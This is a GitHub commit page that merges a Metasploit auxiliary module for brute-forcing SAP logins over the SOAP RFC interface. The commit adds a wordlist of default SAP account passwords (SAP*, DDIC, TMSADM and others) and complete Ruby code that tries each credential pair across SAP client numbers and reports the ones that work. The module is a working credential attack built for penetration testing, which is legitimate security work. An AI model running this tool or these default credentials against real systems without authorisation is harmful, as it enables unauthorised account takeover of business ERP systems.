Skip to content

Commit eddea29

Browse files
author
jvazquez-r7
committed
Merge branch 'sap_soap_rfc_brute_login' of https://github.com/nmonkee/metasploit-framework into nmonkee-sap_soap_rfc_brute_login
2 parents 9fa8204 + 62f9766 commit eddea29

File tree

2 files changed

+166
-0
lines changed

2 files changed

+166
-0
lines changed

data/wordlists/sap_default.txt

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
SAP* 06071992
2+
SAP* PASS
3+
DDIC 19920706
4+
DDIC Welcome01
5+
SAPCPIC ADMIN
6+
EARLYWATCH SUPPORT
7+
TMSADM PASSWORD
8+
TMSADM ADMIN
9+
ADMIN welcome
10+
ADSUSER ch4ngeme
11+
ADS_AGENT ch4ngeme
12+
DEVELOPER ch4ngeme
13+
J2EE_ADMIN ch4ngeme
14+
SAPJSF ch4ngeme
Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16+
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17+
##
18+
19+
require 'msf/core'
20+
21+
class Metasploit4 < Msf::Auxiliary
22+
23+
include Msf::Exploit::Remote::HttpClient
24+
include Msf::Auxiliary::Report
25+
include Msf::Auxiliary::Scanner
26+
include Msf::Auxiliary::AuthBrute
27+
28+
def initialize
29+
super(
30+
'Name' => 'SAP SOAP RFC Brute Forcer (via RFC_PING)',
31+
'Description' => %q{
32+
This module attempts to brute force the username | password via an RFC
33+
interface (over SOAP). Default clients can be tested without needing to set a
34+
CLIENT. Common/Default user and password combinations can be tested without needing
35+
to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. The default usernames and
36+
password combinations are stored in ./data/wordlists/sap_default.txt.
37+
},
38+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
39+
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
40+
'License' => BSD_LICENSE
41+
)
42+
register_options([
43+
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
44+
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
45+
], self.class)
46+
register_autofilter_ports([ 8000 ])
47+
end
48+
49+
def run_host(ip)
50+
if datastore['CLIENT'].nil?
51+
print_status("Using default SAP client list")
52+
client = ['000', '001', '066']
53+
else
54+
client = []
55+
if datastore['CLIENT'] =~ /^\d{3},/
56+
client = datastore['CLIENT'].split(/,/)
57+
print_status("Brute forcing clients #{datastore['CLIENT']}")
58+
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
59+
array = datastore['CLIENT'].split(/-/)
60+
client = (array.at(0)..array.at(1)).to_a
61+
print_status("Brute forcing clients #{datastore['CLIENT']}")
62+
elsif datastore['CLIENT'] =~ /^\d{3}\z/
63+
client.push(datastore['CLIENT'])
64+
print_status("Brute forcing client #{datastore['CLIENT']}")
65+
else
66+
print_status("Invalid CLIENT - using default SAP client list instead")
67+
client = ['000', '001', '066']
68+
end
69+
end
70+
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
71+
'Header' => "[SAP] Credentials",
72+
'Prefix' => "\n",
73+
'Postfix' => "\n",
74+
'Indent' => 1,
75+
'Columns' =>
76+
[
77+
"host",
78+
"port",
79+
"client",
80+
"user",
81+
"pass"
82+
])
83+
if datastore['DEFAULT_CRED']
84+
datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
85+
credentials = extract_word_pair(datastore['USERPASS_FILE'])
86+
credentials.each do |u, p|
87+
client.each do |cli|
88+
success = bruteforce(u, p, cli)
89+
if success
90+
saptbl << [ rhost, rport, cli, u, p]
91+
end
92+
end
93+
end
94+
else
95+
each_user_pass do |u, p|
96+
client.each do |cli|
97+
success = bruteforce(u, p, cli)
98+
if success
99+
saptbl << [ rhost, rport, cli, u, p]
100+
end
101+
end
102+
end
103+
end
104+
print(saptbl.to_s)
105+
end
106+
107+
def bruteforce(username,password,client)
108+
data = '<?xml version="1.0" encoding="utf-8" ?>'
109+
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
110+
data << '<env:Body>'
111+
data << '<n1:RFC_PING xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
112+
data << '</n1:RFC_PING>'
113+
data << '</env:Body>'
114+
data << '</env:Envelope>'
115+
user_pass = Rex::Text.encode_base64(username+ ":" + password)
116+
begin
117+
success = false
118+
error = []
119+
error_msg = []
120+
res = send_request_raw({
121+
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
122+
'method' => 'POST',
123+
'data' => data,
124+
'headers' =>{
125+
'Content-Length' => data.size.to_s,
126+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
127+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
128+
'Authorization' => 'Basic ' + user_pass,
129+
'Content-Type' => 'text/xml; charset=UTF-8'}
130+
}, 45)
131+
if res and res.code == 401
132+
success = false
133+
return success
134+
elsif res and res.code == 500
135+
response = res.body
136+
error.push(response.scan(%r{<faultstring>(.*?)</faultstring>}))
137+
error.push(response.scan(%r{<message>(.*?)</message>}))
138+
success = false
139+
elsif res and res.code == 200
140+
success = true
141+
return success
142+
end
143+
if success
144+
err = error.join.chomp
145+
print_error("[SAP] #{rhost}:#{rport} - #{err} - #{client}:#{username}:#{password}")
146+
end
147+
rescue ::Rex::ConnectionError
148+
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
149+
return
150+
end
151+
end
152+
end

0 commit comments

Comments
 (0)